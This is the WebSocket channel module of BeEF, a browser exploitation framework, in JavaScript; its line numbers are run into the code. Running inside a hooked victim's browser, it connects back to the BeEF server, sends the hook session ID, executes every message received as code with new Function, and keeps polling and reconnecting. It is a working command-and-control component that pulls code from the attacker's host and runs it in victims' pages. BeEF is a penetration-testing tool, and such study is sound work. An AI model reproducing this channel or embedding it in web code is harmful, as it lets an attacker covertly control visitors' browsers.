//1// Copyright (c) 2006-2025 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//567/**8* Manage the WebSocket communication channel.9* This channel is much faster and responsive, and it's used automatically10* if the browser supports WebSockets AND beef.http.websocket.enable = true.11* @namespace beef.websocket12*/1314beef.websocket = {1516socket:null,17ws_poll_timeout: "<%= @ws_poll_timeout %>",18ws_connect_timeout: "<%= @ws_connect_timeout %>",1920/**21* Initialize the WebSocket client object.22* Note: use WebSocketSecure only if the hooked origin is under https.23* Mixed-content in WS is quite different from a non-WS context.24*/25init:function () {26var webSocketServer = beef.net.host;27var webSocketPort = "<%= @websocket_port %>";28var webSocketSecure = "<%= @websocket_secure %>";29var protocol = "ws://";3031if(webSocketSecure && window.location.protocol=="https:"){32protocol = "wss://";33webSocketPort= "<%= @websocket_sec_port %>";34}3536if (beef.browser.isFF() && !!window.MozWebSocket) {37beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");38}else{39beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");40}4142},4344/**45* Send Hello message to the BeEF server and start async polling.46*/47start:function () {48new beef.websocket.init();49this.socket.onopen = function () {50beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');51beef.websocket.alive();52};5354this.socket.onmessage = function (message) {55// Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.56// That's why it needs to be evaluated first. Using Function is a bit better than pure eval().57// It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.58new Function(message.data)();59};6061this.socket.onclose = function () {62setTimeout(function(){beef.websocket.start()}, 5000);63};64},6566/**67* Send data back to BeEF. This is basically the same as beef.net.send,68* but doesn't queue commands.69* Example usage:70* beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +71* '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +72* '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');73*/74send:function (data) {75try {76this.socket.send(data);77}catch(err){}78},7980/**81* Polling mechanism, to notify the BeEF server that the browser is still hooked,82* and the WebSocket channel still alive.83* todo: there is probably a more efficient way to do this. Double-check WebSocket API.84*/85alive: function (){86try {87if (beef.logger.running) {88beef.logger.queue();89}90} catch(err){}9192beef.net.flush();9394beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');95setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout));96}97};9899beef.regCmp('beef.websocket');100101102